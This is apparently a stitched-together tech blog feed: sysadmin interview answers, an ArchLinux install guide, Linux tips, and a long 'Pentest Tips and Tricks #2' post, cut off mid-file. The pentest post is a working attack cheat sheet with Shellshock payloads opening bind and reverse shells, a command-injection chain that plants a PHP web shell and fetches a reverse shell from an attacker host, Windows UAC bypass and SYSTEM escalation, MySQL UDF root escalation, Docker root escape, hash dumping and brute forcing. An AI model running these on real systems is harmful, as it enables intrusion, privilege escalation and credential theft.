mail from: [email protected]
rcpt to: [email protected]
data
354 Enter mail, end with "." on a line by itself
Hey
This is test email only

Thanks
.
quit

or

$ mail -s "Test Subject" [email protected]

Write a get_prim method in python/perl/bash/pseudo.

I don`t undestand what is get_prim method, if you know, write a comment plz.

Find all files which have been accessed within the last 30 days.

$ find /* -type f -atime -30
"-30" means that it was accessed "less than 30 days ago"
"+30" means that it was accessed "more than 30 days ago"

Explain the following command (date ; ps -ef | awk '{print $1}' | sort | uniq | wc -l ) >> Activity.log

$ date ; ps -ef | awk '{print $1}' | sort | uniq | wc -l

Execute date command which print current datetime, then we execute process list command and print only UID column, than with pipe we sort it and print only uniq values, after wc -l is counting it number after all we append this to file Activity.log

If file we will see something like this:
Fri Jan 22 15:24:07 UTC 2016
6

Write a script to list all the differences between two directories.

#!/bin/sh
usage="Usage: $0 DIR1 DIR2"

if [ $# -gt 2 ]; then
       echo $usage;
       exit 1
fi

if [ -z "$1" ]; then
        echo $usage;
fi

if [ -d "$1" -a -d "$2" ]; then
        echo "Comparing $1 with $2........"
        diff -r $1 $2
fi

In a log file with contents as <TIME> : [MESSAGE] : [ERROR_NO] - Human readable text display summary/count of specific error numbers that occured every hour or a specific hour.

$ cat log | awk -F ":" '{print $3}'|sort -n |uniq -c
$ cat log | grep "specific hour" | awk -F ":" '{print $3}'|sort -n |uniq -c

Linux SysAdm/DevOps Interview Questions was originally published by EK at EK on January 22, 2016.

ArchLinux Installation Guide

2015-12-30 13:17:40 +0300T00:00:00-00:00

MY guide for installing ArchLinux

Download and Boot

Download and boot with CD\USB

Network Configuration

ip link set wlp3s0 up
wifi-menu wlp3s0
ip addr
ping -c 3 www.google.com
passwd root
systemctl start sshd

Create partitions

# Remove old partitions then create the following partitions:
# 2MB, type EF02 (BIOS partition). This is used by GRUB2/BIOS-GPT.
# 1000MB, type 0800 (Linux). This will store /boot (/dev/sda2)
# 4GB, type XXX (swap). This is our swap partition. (/dev/sda3)
# Remaining space, type 0800 (Linux). Store both / and /home. (/dev/sda4).
# You can have a separate /home if you prefer.
cgdisk /dev/sda

Format and activate partitions

mkfs.ext4 /dev/sda2
mkswap /dev/sda3 && swapon /dev/sda3
mkfs.ext4 /dev/sda3
mount /dev/sda4 /mnt; mkdir /mnt/boot; mount /dev/sda2 /mnt/boot
mkdir /mnt/home

Install the base packages

pacstrap -i /mnt base base-devel dialog wpa_supplicant

Generate fstab

genfstab -pU /mnt >> /mnt/etc/fstab
echo "tmpfs /tmp    tmpfs   defaults,noatime,mode=1777  0   0" >> /mnt/etc/fstab

Enter the new system

arch-chroot /mnt /bin/bash

Set fastmirrors

pacman -S reflector
reflector -c RU -c FR -c GE --sort rate -p http --save /etc/pacman.d/mirrorlist

Setup system clock

ln -s /usr/share/zoneinfo/Europe/SubZone /etc/localtime

Set the hostname

echo MYHOSTNAME > /etc/hostname

Language and location settings

mv /etc/locale.gen{,.orig}
echo "en_US.UTF-8 UTF-8" > /etc/locale.gen
echo "ru_RU.UTF-8 UTF-8" >> /etc/locale.gen
locale-gen
echo LANG=en_US.UTF-8 > /etc/locale.conf
echo 'KEYMAP="us"' >> /etc/vconsole.conf
export LANG=en_US.UTF-8

Set root password

passwd root

Add real user

useradd -m -g users -G audio,lp,optical,storage,video,wheel,power,network -s /bin/bash MYUSERNAME

Add user to sudo

passwd MYUSERNAME
pacman -S sudo
# Uncomment the line '%wheel ALL=(ALL) ALL'
EDITOR=nano; visudo

Configure repositories

nano /etc/pacman.conf
Color

[multilib]
Include = /etc/pacman.d/mirrorlist
[archlinuxfr]
SigLevel = Never
Server = http://repo.archlinux.fr/$arch
[infinality-bundle]
SigLevel = Never
Server = http://bohoomil.com/repo/$arch
[infinality-bundle-fonts]
SigLevel = Never
Server = http://bohoomil.com/repo/fonts

sudo pacman-key -r 962DDE58
sudo pacman-key –lsign-key 962DDE58
pacman -Sy

Install grub

pacman -S grub os-prober
grub-install --target=i386-pc --recheck /dev/sda
grub-install --target=x86_64-efi --efi-directory=/boot
grub-mkconfig -o /boot/grub/grub.cfg

Wired packages

pacman -S iw wpa_supplicant dialog wireless_tools wpa_actiond

Install OpenSSH

pacman -S openssh
systemctl enable sshd
nano /etc/ssh/sshd_config

Reboot into the new system

exit
umount -R /mnt
reboot

sudo wifi-menu -o
sudo netctl enable WIFI_PROFILE

Install X

sudo pacman -S xorg-server xorg-server-utils xorg-xinit libva-intel-driver intel-gpu-tools xf86-video-intel xf86-input-synaptics xorg-twm xorg-xclock xterm

KDE5 Plasma

sudo pacman -S plasma-desktop plasma-nm plasma-pa bluedevil kscreen dolphin dolphin-plugins kdeplasma-addons kdeconnect sddm sddm-kcm kwalletmanager print-manager sni-qt lib32-sni-qt kdegraphics-ksnapshot networkmanager network-manager-applet kde-gtk-config gwenview sni-qt lib32-sni-qt
yaourt -S papirus-icons
yaourt -S breeze-gtk-git
systemctl set-default graphical.target
systemctl disable kdm.service
systemctl enable sddm.service
systemctl disable dhcpcd.service
systemctl enable NetworkManager.service
systemctl enable cronie.service

Sound

sudo pacman -S alsa-utils alsa-oss

Font Rendering

sudo pacman -S ttf-ubuntu-font-family ttf-liberation ttf-gentium ttf-droid ttf-bitstream-vera ttf-dejavu ttf-font terminus-font
yaourt -S ttf-ms-fonts ttf-mac-fonts
pacman -Syyu {fontconfig,freetype2,cairo}-infinality-ultimate
cat /etc/fonts/local.conf >  ~/.config/fontconfig/fonts.conf

Software

sudo pacman -S yaourt bash-completion git mercurial subversion cpupower vlc gstreamer0.10-plugins jdk8-openjdk flashplugin ntfs-3g ntfsprogs ntp lshw pm-utils powertop acpid xfsprogs pidgin pidgin-sipe pidgin-libnotify purple-plugin-pack gparted dosfstools ntfsprogs intel-ucode chromium firefox dbus sudo acpi pm-utils vbetool p7zip youtube-dl ntfs-3g transmission-qt net-tools rsync unrar unzip wget zip htop redshift dropbox sublime-text-dev iptables atop clementine curl gsmartcontrol keychain nmap rdesktop screen smartmontools tmux vim workrave moreutils strace lm_sensors kde-wallpapers krusader kde-l10n-ru evince k3b ecryptfs-utils iotop speedtest-cli torsocks hdparm ack konsole plasma-workspace-wallpapers ipython  networkmanager-openvpn openvpn virtualbox x11vnc scrot ecryptfs-utils lsof libreoffice udisks laptop-detect horst colordiff keepass dmidecode archlinux-keyring ark vim-systemd namcap ddrescue testdisk cabextract cpio lzop sshfs fuse ifuse dkms i7z usb_modeswitch gst-plugins-good gst-libav libdvdcss ffmpeg speex x264 x265 xvidcore android-tools gstreamer gst-libav gst-plugins-bad gst-plugins-base gst-plugins-base-libs gst-plugins-good dnsutils wireshark-qt socat tcpflow

yaourt -S chromium-pepper-flash keepass-plugin-http
yaourt -S krop
yaourt -S keebuntu

VirtualBox

sudo pacman -S virtualbox virtualbox-guest-iso linux-headers virtualbox-guest-modules xf86-video-vesa
yaourt virtualbox-ext-oracle
gpasswd -a username vboxusers
# Load module on boot
# Edit /etc/modules-load.d/virtualbox.conf and add: vboxdrv
sudo sh -c 'cat >> /etc/modules-load.d/virtualbox.conf << EOF
vboxguest
vboxsf
vboxvideo
EOF'

Printer

pacman -S cups ghostscript gsfonts
# groupadd -g107 lpadmin
/etc/cups/cups-files.conf
# Administrator user group...
SystemGroup sys root lpadmin

systemctl start org.cups.cupsd.service
systemctl enable org.cups.cupsd.service
systemctl disable org.cups.cupsd.service

Reshift

/usr/bin/redshift -c /dev/null -l 55.8 37.6 -t 5500 3700 -g 1.00 1.00 1.00 -b 1.00

# ~/.config/redshift.conf
[redshift]
temp-day=5500
temp-night=3700
brightness=1.00
gamma=1.00
location-provider=manual

[manual]
lat=55.6
lon=37.6

HDD load cycle count

sudo hdparm -B 255 /dev/sda

sudo sh -c 'cat >> /etc/udev/rules.d/50-hdparm.rules << EOF
ACTION=="add", SUBSYSTEM=="block", KERNEL=="sda", RUN+="/usr/sbin/hdparm -B 254 -S 0 /dev/sda"
EOF'

sudo sh -c 'cat >> /usr/lib/systemd/system-sleep/hdparm_set << EOF
#!/bin/sh
/usr/sbin/hdparm -B 254 -S 0 /dev/sda
EOF'

chmod +x /usr/lib/systemd/system-sleep/hdparm_set

Sysctl

echo "vm.swappiness=10" >> /etc/sysctl.conf
echo "vm.vfs_cache_pressure=50" >> /etc/sysctl.conf

Encrypt User Home with ecryptfs

echo "ecryptfs" > /etc/modules-load.d/ecryptfs.conf
modprobe ecryptfs
sudo ecryptfs-migrate-home -u login
ecryptfs-mount-private
ecryptfs-umount-private

cat /etc/pam.d/system-auth
#%PAM-1.0

auth      required  pam_unix.so     try_first_pass nullok
auth      required    pam_ecryptfs.so unwrap
auth      optional  pam_permit.so
auth      required  pam_env.so

account   required  pam_unix.so
account   optional  pam_permit.so
account   required  pam_time.so

password  optional    pam_ecryptfs.so
password  required  pam_unix.so     try_first_pass nullok sha512 shadow
password  optional  pam_permit.so

session   required  pam_limits.so
session   required  pam_unix.so
session    optional    pam_ecryptfs.so
session   optional  pam_permit.so

# after login
ecryptfs-unwrap-passphrase
ecryptfs-add-passphrase
# change passpharase
ecryptfs-rewrap-passphrase /home/$USER/.ecryptfs/wrapped-passphrase

GRUB2 Speedup

# /etc/default/grub
GRUB_TIMEOUT=0
GRUB_CMDLINE_LINUX_DEFAULT="quiet loglevel=3 rd.systemd.show_status=false rd.udev.log-priority=3"
GRUB_FORCE_HIDDEN_MENU="true"
grub-mkconfig > /boot/grub/grub.cfg

GRUB2 Password

grub2-mkpasswd-pbkdf2
Enter password:
Reenter password:
PBKDF2 hash of your password is grub.pbkdf2.sha512.10000.SOMEHASH

# change config /etc/grub.d/40_custom
set superusers="root"
password_pbkdf2 root grub.pbkdf2.sha512.10000.SOMEHASH

/etc/grub.d/10_linux
CLASS="--unrestricted"

grub-mkconfig > /boot/grub/grub.cfg

Improve ext4 performance

# - http://menelkir.itroll.org/2011/06/ext4-optimization-for-daily-use.html
# - http://blog.smartlogic.io/2009/06/04/rails-development-mount-options-to-improve-ext4-file-system-performance
#
tune2fs -m 0 /dev/sdX

# add to fstab
# rw,noatime,nouser_xattr,relatime,data=ordered

System Speedup

ln -sfv /run/user/$UID/ /home/$USER/.compose-cache

systemd-analyze blame
systemd-analyze critical-chain

yaourt -S systemd-readahead
systemctl enable systemd-readahead-collect systemd-readahead-replay
systemctl enable upower

# change /etc/systemd/journald.conf
SystemMaxUse=50M

Save installed pkg list

pacman -Qqe | awk '{print $1}' > package_list.txt

IPtables rules

wget https://github.com/jivoi/scripts/raw/master/iptables_rules.sh
# comment localnet rules
./iptables_rules.sh
iptables-save > /etc/iptables/iptables.rules
systemctl enable iptables.service
systemctl start iptables.service

ArchLinux Installation Guide was originally published by EK at EK on December 30, 2015.

Pentest Tips and Tricks #2

2015-08-21 12:22:57 +0300T00:00:00-00:00

Pentest Handy Tips and Tricks - part 2.

Other Parts
Tor Nat Traversal
DNS brute forcing with fierce
Metagoofil metadata gathering tool
A best NMAP scan strategy
Nmap – Techniques for Avoiding Firewalls
Exploit servers to Shellshock
Root with Docker
Tunneling Over DNS to Bypass Firewall
Compile Assemble code
Pivoting to Internal Network Via Non Interactive Shell
Patator is a multi-purpose brute-forcer
Metasploit Web terminal via Gotty
Get full shell with POST RCE
Exiftool - Read and write meta information in files
Get SYSTEM with Admin reverse_shell on Win7
Get SYSTEM with Standard user reverse_shell on Win7
Generate our own dic file based on the website content
Bruteforce DNS records using Nmap
Identifying a WAF with Nmap
MS08-067 - without the use of Metasploit
Nikto scan with SQUID proxy
Hijack a binary’s full path in bash to exec your own code
Local privilege escalation through MySQL run with root privileges
Bruteforce SSH login with patator
Using LD_PRELOAD to inject features to programs
Exploit the OpenSSH User Enumeration Timing Attack
Create a TCP circuit through validly formed HTTP requests with ReDuh

Other Parts

Tor Nat Traversal

# install to server
$ apt-get install tor torsocks

# bind ssh to tor service port 80
# /etc/tor/torrc
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 80 127.0.0.1:22
PublishServerDescriptor 0
$ /etc/init.d/tor start
$ cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion

# ssh connect from client
$ apt-get install torsocks
$ torsocks ssh [email protected] -p 80

DNS brute forcing with fierce

# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt

Metagoofil metadata gathering tool

# http://www.edge-security.com/metagoofil.php
#automate search engine document retrieval and analysis. It also has the capability to provide MAC
# addresses, username listings, and more
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

A best NMAP scan strategy

# A best nmap scan strategy for networks of all sizes

# Host Discovery - Generate Live Hosts List
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

# Port Discovery - Most Common Ports
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

# Port Discovery - Full Port Scans (UDP is very slow)
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

# Print TCP\UDP Ports
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

# Detect Service Version
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

# Operating System Scan
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

# OS and Service Detect
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

Nmap – Techniques for Avoiding Firewalls

# fragmentation
$ nmap -f

# change default MTU size number must be a multiple of 8 (8,16,24,32 etc)
$ nmap --mtu 24

# Generates a random number of decoys
$ nmap -D RND:10 [target]

# Manually specify the IP addresses of the decoys
$ nmap -D decoy1,decoy2,decoy3 etc.

# Idle Zombie Scan, first t need to find zombie ip
$ nmap -sI [Zombie IP] [Target IP]

# Source port number specification
$ nmap --source-port 80 IP

# Append Random Data to scan packages
$ nmap --data-length 25 IP

# MAC Address Spoofing, generate different mac for host pc
$ nmap --spoof-mac Dell/Apple/3Com IP

Exploit servers to Shellshock

# A tool to find and exploit servers vulnerable to Shellshock
# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

# cat file
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# bind shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# reverse Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

Root with Docker

# get root with docker
# user must be in docker group
ek@victum:~/docker-test$ id
uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

ek@victum:~$ mkdir docker-test
ek@victum:~$ cd docker-test

ek@victum:~$ cat > Dockerfile
FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR
<< EOF

ek@victum:~$ docker build -t my-docker-image .
ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'

Tunneling Over DNS to Bypass Firewall

# Tunneling Data and Commands Over DNS to Bypass Firewalls
# dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.

# server (attacker)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059

# client (victum)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>

Compile Assemble code

$ nasm -f elf32 simple32.asm -o simple32.o
$ ld -m elf_i386 simple32.o simple32

$ nasm -f elf64 simple.asm -o simple.o
$ ld simple.o -o simple

Pivoting to Internal Network Via Non Interactive Shell

# generate ssh key with shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

# add tempuser at attacker ps
$ useradd -m tempuser
$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh

# create reverse ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"

Patator is a multi-purpose brute-forcer

# git clone https://github.com/lanjelot/patator.git /usr/share/patator

# SMTP bruteforce
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

Metasploit Web terminal via Gotty

$ service postgresql start
$ msfdb init
$ apt-get install golang
$ mkdir /root/gocode
$ export GOPATH=/root/gocode
$ go get github.com/yudai/gotty
$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
# open in browser http://127.0.0.1:8080

Get full shell with POST RCE

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'

attacker:~$ curl http://victum.tk/shell.php?cmd=id

# download reverse shell to server (phpshell.php)
http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27

# run nc and execute phpshell.php
attacker:~$ nc -nvlp 1337

Exiftool - Read and write meta information in files

$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
$ tar xzf Image-ExifTool-10.13.tar.gz
$ cd Image-ExifTool-10.13
$ perl Makefile.PL
$ make
$ ./exiftool main.gif

Get SYSTEM with Admin reverse_shell on Win7

msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe

#show account settings
net user <login>

# download psexec to kali
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

# upload psexec.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script.ps1
echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1
echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

# upload danger.exe file onto the victim machine with powershell script
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1
echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1

# UAC bypass from precompiled binaries:
https://github.com/hfiref0x/UACME

# upload https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe to victim pc with powershell
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1

# create listener on kali
nc -lvp 4444

# Use Akagi64 to run the danger.exe file with SYSTEM privileges
Akagi64.exe 1 C:\Users\User\Desktop\danger.exe

# create listener on kali
nc -lvp 4444

# The above step should give us a reverse shell with elevated privileges
# Use PsExec to run the danger.exe file with SYSTEM privileges
psexec.exe –i –d –accepteula –s danger.exe

Get SYSTEM with Standard user reverse_shell on Win7

https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/

# check the list of patches applied on the target machine
# to get the list of Hotfixes installed, type in the following command.
wmic qfe get
wmic qfe | find "3057191"

# Upload compile exploit to victim machine and run it
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe
# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"

# dump clear text password of the currently logged in user using wce.exe
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w

# dump hashes of other users with pwdump7
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net

Generate our own dic file based on the website content

$ cewl -m 4 -w dict.txt http://site.url
$ john --wordlist=dict.txt --rules --stdout

Bruteforce DNS records using Nmap

$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
$ nmap --script dns-brute www.foo.com

Identifying a WAF with Nmap

$ nmap -p 80,443 --script=http-waf-detect 192.168.56.102
$ nmap -p 80,443 --script=http-waf-fingerprint 192.168.56.102
$ wafw00f www.example.com

MS08-067 - without the use of Metasploit

$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

Nikto scan with SQUID proxy

$ nikto -useproxy http://squid_ip:3128 -h http://target_ip

Hijack a binary’s full path in bash to exec your own code

$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
It works

Local privilege escalation through MySQL run with root privileges

# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
$ wget 0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');

user:~$ su -
Password:
user:~# whoami
root
root:~# id
uid=0(root) gid=0(root) groups=0(root)

root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'

Using LD_PRELOAD to inject features to programs

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c
$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

Exploit the OpenSSH User Enumeration Timing Attack

# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

Create a TCP circuit through validly formed HTTP requests with ReDuh

# https://github.com/sensepost/reDuh

# step 1
# upload reDuh.jsp to victim server
$ http://192.168.10.50/uploads/reDuh.jsp

# step 2
# run reDuhClient on attacker
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

# step 3
# connecting to management port with nc
$ nc -nvv 127.0.0.1 1010

# step 4
# forward localport to remote port with tunnel
[createTunnel] 7777:172.16.0.4:3389

# step 5
# connect to localhost with rdp
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777

Pentest Tips and Tricks #2 was originally published by EK at EK on August 21, 2015.

Awesome IT Jobs

2015-08-21 12:08:13 +0300T00:00:00-00:00

Resources to help you get awesome IT job

Job Search

https://www.linkedin.com/

Remote Jobs

List of awesome remote jobs and resources

Awesome IT Jobs was originally published by EK at EK on August 21, 2015.

Linux-Unix-IT Tips and Tricks #4

2015-08-17 16:09:08 +0300T00:00:00-00:00

Different Linux / Unix / IT tips, notes, howto part 4

Other Parts
Who is writing to a mysql replica
Display Mount FS in Nice Layout
FreeBSD version
Linux namespaces implementations
Firewalld in CentOS7\RHEL
Encrypt Linux Home Dir
Moreutils
Send Squid access_log to SIEM
Send HP-UX syslogd to SIEM
FreeBSD Vagrant
LXC CentOS7 Container
Systemd-nspawn CentOS7 Container
Simple Systemd
Manage logging in Systemd
Systemd cgroups
Systemd Targets/Run levels
DebTree — pkg dependency graphs

Other Parts

Who is writing to a mysql replica

# if you are using 5.6, you can do it!
# http://dev.mysql.com/doc/en/connection-summary-tables.html
mysql> desc performance_schema.events_statements_summary_by_user_by_event_name;
mysql> select user, event_name, count_star, sum_timer_wait, sum_rows_affected
    ->   from performance_schema.events_statements_summary_by_user_by_event_name
    ->  where sum_timer_wait > 0
    ->  order by user, sum_timer_wait desc;
mysql> select * from sys.user_summary_by_statement_type;
mysql> slave1 [localhost] {msandbox} (sys) > select * from user_summary_by_statement_type;
mysql> slave1 [localhost] {msandbox} (sys) > SELECT * FROM sys.user_summary_by_statement_type WHERE user != 'background' AND rows_affected > 0;
mysql> slave1 [localhost] {msandbox} (sys) > SELECT * FROM performance_schema.events_statements_summary_by_user_by_event_name WHERE user IS NOT NULL AND sum_rows_affected > 0\G

Display Mount FS in Nice Layout

$ mount | column -t

FreeBSD version

# to see the version and patch level of the installed kernel:
$ freebsd-verion -k
# to see the version and patch level of the installed userland:
$ freebsd-verion -u
# to find out if FreeBSD kernel is running in 32bit or 64bit mode:
$ getconf LONG_BIT

Linux namespaces implementations

# Linux namespaces implementations:
- mnt: mount points and filesystems isolation
- pid: process isolation
- net: network stack isolation (contains its own routes, network devices and iptables rules)
- ipc: System V IPC isolation
- uts: hostname isolation
- user: user isolation by means of UIDs

# network namespace
$ ip netns add ns1
$ ip netns
$ ip netns exec ns1 ip link

Firewalld in CentOS7\RHEL

$ systemctl status firewalld
$ firewall-cmd --state
$ firewall-cmd --get-default-zone
$ firewall-cmd --get-active-zones
$ firewall-cmd --zone=public --list-all
$ firewall-cmd --reload
$ firewall-cmd --list-services
$ firewall-cmd --permanent --add-service=ssh
$ firewall-cmd --zone=public --add-port=514/udp
$ firewall-cmd --zone=public --add-forward-port=port=22:proto=tcp:toport=3753
$ firewall-cmd --direct --add-rule ipv4 filter INPUT 0 -p tcp --dport 9000 -j ACCEPT
$ firewall-offline-cmd --direct --add-rule ipv4 filter INPUT 0 -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
$ systemctl disable firewalld
$ systemctl stop firewalld

Encrypt Linux Home Dir

$ apt-get install ecryptfs-utils
$ sudo ecryptfs-migrate-home -u <login>
# after login
$ ecryptfs-unwrap-passphrase
$ ecryptfs-add-passphrase
# change passpharase
$ ecryptfs-rewrap-passphrase /home/$USER/.ecryptfs/wrapped-passphrase

Moreutils

chronic - runs a command quietly unless it fails
$ 0 1 * * * chronic backup # instead of backup >/dev/null 2>&1

combine - combine sets of lines from two files using boolean operations
errno - look up errno names and descriptions
ifdata - get network interface info without parsing ifconfig output
ifne - Run command if the standard input is not empty
$ find . -name core | ifne mail -s "Core files found" root
isutf8 - check whether files are valid UTF-8

Send Squid access_log to SIEM

# http://wiki.squid-cache.org/Features/LogModules
# /etc/squid/squid.conf
access_log syslog:local6.info

# /etc/rsyslog.conf
local6.info @SIEMIP:514
$ systemctl restart squid.service

Send HP-UX syslogd to SIEM

# /etc/syslog.conf
*.* @<SIEM_IP>

$ kill -HUP `cat /etc/syslog.pid`
or
$ /sbin/init.d/syslog stop
$ /sbin/init.d/syslog start

FreeBSD Vagrant

# https://atlas.hashicorp.com/FreeBSD/

# Vagrantfile
Vagrant.configure("2") do |config|
  config.vm.synced_folder ".", "/vagrant", id: "vagrant-root", disabled: true
  config.vm.box = "freebsd/FreeBSD-11.0-CURRENT"
  config.ssh.shell = "sh"
